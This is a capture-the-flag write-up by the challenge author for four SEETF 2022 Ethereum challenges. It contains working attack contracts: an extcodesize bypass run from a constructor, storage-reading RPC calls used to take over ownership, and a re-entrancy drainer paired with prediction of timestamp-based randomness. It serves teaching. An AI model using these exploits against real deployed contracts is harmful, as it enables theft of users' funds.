SEETF 2022 Writeup

Here are the challenges I made for SEETF 2022, the inaugural CTF held by Social Engineering Experts.

This is my first hand at creating CTF challenges. I hope you have enjoyed them! Look out for SEETF 2023, because there will be more and interesting Smart Contracts Challenges!

[BEGINNER-FRIENDLY] Bonjour - Solution

Author: AtlanticBase

Category: Ethereum

Just a simple challenge to get the users accustomed to the environment

You just have to replace the welcomeMessage variable to match Welcome to SEETF.

Call setWelcomeMessage("Welcome to SEETF") to change the welcome message and get the flag.

Code to solve the challenge

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Bonjour {

  string public welcomeMessage;

  constructor() {
    welcomeMessage = "Bonjour";
  }

  function setWelcomeMessage(string memory _welcomeMessage) public {
    welcomeMessage = _welcomeMessage;
  }

  function isSolved() public view returns (bool) {
    return keccak256(abi.encodePacked("Welcome to SEETF")) == keccak256(abi.encodePacked(welcomeMessage));
  }
}

contract BonjourAttack {

    Bonjour public bonjour;

    constructor() {
      bonjour = Bonjour("[Address of Bonjour]");
      bonjour.setWelcomeMessage("Welcome to SEETF");
    }
}

YouOnlyHaveOneChance - Solution

Author: AtlanticBase

Category: Ethereum

The gist of this is to bypass the isBig function. In order to bypass it you will have to create all your attacks in the constructor. When the constructor is run, the contract size is technically 0 bytes.

contract YouOnlyHaveOneChance {
    uint256 public balanceAmount;
    address public owner;
    uint256 randNonce = 0;

    constructor() {
        owner = msg.sender;

        balanceAmount =
            uint256(
                keccak256(
                    abi.encodePacked(block.timestamp, msg.sender, randNonce)
                )
            ) %
            1337;
    }

    function isBig(address _account) public view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(_account)
        }
        return size > 0;
    }

    function increaseBalance(uint256 _amount) public {
        require(tx.origin != msg.sender);
        require(!isBig(msg.sender), "No Big Objects Allowed.");
        balanceAmount += _amount;
    }

    function isSolved() public view returns (bool) {
        return balanceAmount == 1337;
    }
}

contract YouOnlyHaveOneChanceAttack {

  YouOnlyHaveOneChance public youOnlyHaveOneChance;

    constructor() {
        youOnlyHaveOneChance = YouOnlyHaveOneChance("[Address of YouOnlyHaveOneChance]");
        youOnlyHaveOneChance.increaseBalance(1337 - youOnlyHaveOneChance.balanceAmount());
    }
}

DuperSuperSafeSafe - Solution

Author: AtlanticBase

Category: Ethereum

This challenge requires you to make use of how blockchain stores information. Setting your variable private doesn’t mean that it is private as you can still view it through other ways.

It requires you to know the EVM storage layout.

First, you will need to change the owner. In order to pass the condition, you will have to create a contract to call the function.

In order to get the timestamp,

curl --location --request POST 'awesome.chall.seetf.sg:40002/' \
--header 'Content-Type: application/json' \
--data-raw '{
	"jsonrpc":"2.0",
	"method": "eth_getStorageAt",
	"params": [
		"0x0E161f71f41baF3883a2CE0fe04cbaddb5259791",
		"0x2",
		"latest"
	],
	"id": 1
}'

You will get

{"jsonrpc":"2.0","id":1,"result":"0x0000000000000000000000000000000000000000000000000000000062905ffd"}

If you convert the result to decimal, you will get the epoch timestamp.

E.G. 1653628925

Now, in order to get the passwords, you will need to understand how the mapping works.

Based on the code, the mapping variable is in the second slot of the storage.

However, solidity just uses that as a pointer to the actual data.

You will need to hash the slot (0x1) and the key of the mapping variable (0x0) to get the value.

You can use web3 to calculate the hash

web3.utils.soliditySha3(0, 1)

The value is 0xa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49

curl --location --request POST 'awesome.chall.seetf.sg:40002/' \
--header 'Content-Type: application/json' \
--data-raw '{
	"jsonrpc":"2.0",
	"method": "eth_getStorageAt",
	"params": [
		"0x0E161f71f41baF3883a2CE0fe04cbaddb5259791",
		"0xa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49",
		"latest"
	],
	"id": 1
}'

Then you will get 0x57617979616e6700000000000000000000000000000000000000000000000000

In order to convert it to text, you can use web3.utils.hexToUtf8("0x57617979616e6700000000000000000000000000000000000000000000000000")

Second slot,

web3.utils.soliditySha3(1, 1)

The value is 0xcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f

curl --location --request POST 'awesome.chall.seetf.sg:40002/' \
--header 'Content-Type: application/json' \
--data-raw '{
	"jsonrpc":"2.0",
	"method": "eth_getStorageAt",
	"params": [
		"0x0E161f71f41baF3883a2CE0fe04cbaddb5259791",
		"0xcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f",
		"latest"
	],
	"id": 1
}'

The result is {"jsonrpc":"2.0","id":1,"result":"0x4375746500000000000000000000000000000000000000000000000000000000"}

Converting it to text, Cute.

Create an Attack Contract to call the changeOwner function

contract DSSSAttack {

    DuperSuperSafeSafe dsss;

    constructor() {
        dsss = DuperSuperSafeSafe(payable(0x0E161f71f41baF3883a2CE0fe04cbaddb5259791));
        dsss.changeOwner([address]);
    }
}

After the owner is changed, you can call the withdrawFunds method directly as the EOA is the owner.

To solve, drain all the 0.3 ether in the contract.

Flag: SEE{B10cKcH41n_I5_sUp3r_53cuRe!}

RollsRoyce - Solution

Author: AtlanticBase

Category: Ethereum

This challenge is about the insecurities of Randomness in the Ethereum Blockchain and Re-entrancy.

It is not secure if you use the timestamp as attackers can ‘predict’ the blocks. This is a problem. In order to guess the attack, run the CoinFlip function and then guess at the same time and you will be able to get the answer.

Now, after that, you can then use Re-entrancy to drain the contract address and get the funds.


//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "hardhat/console.sol";

enum CoinFlipOption {
        HEAD,
        TAIL
}

interface IRollsRoyce {
    function guess(CoinFlipOption _guess) external payable;
    function revealResults() external;
    function withdrawFirstWinPrizeMoneyBonus() external;
}

contract RollsRoyceAttack {

    RollsRoyce rr;
    event Received(address, uint);

    constructor() {
        rr = RollsRoyce(payable([CONTRACT ADDRESS]));
    }

    function guessAttack() public payable {
        for(uint i=0; i<3; i++){
            CoinFlipOption ans = CoinFlipOption(uint(keccak256(abi.encodePacked((block.timestamp) ^ 0x1F2DF76A6))) % 2);
            rr.guess{value: 1 ether}(ans);
            rr.revealResults();
        }
    }

    function withdrawAttack() external payable {
        rr.withdrawFirstWinPrizeMoneyBonus();
    }

    receive() external payable {
        if (address([CONTRACT ADDRESS]).balance > 0) {
            rr.withdrawFirstWinPrizeMoneyBonus();
            console.log("reentering...");
            emit Received(msg.sender, msg.value);
        } else {
            console.log('victim account drained');
            payable([EOA ACCOUNT]).transfer(address(this).balance);
        }
  }

  function viewBalance() public view returns (uint) {
      return address(this).balance;
  }
}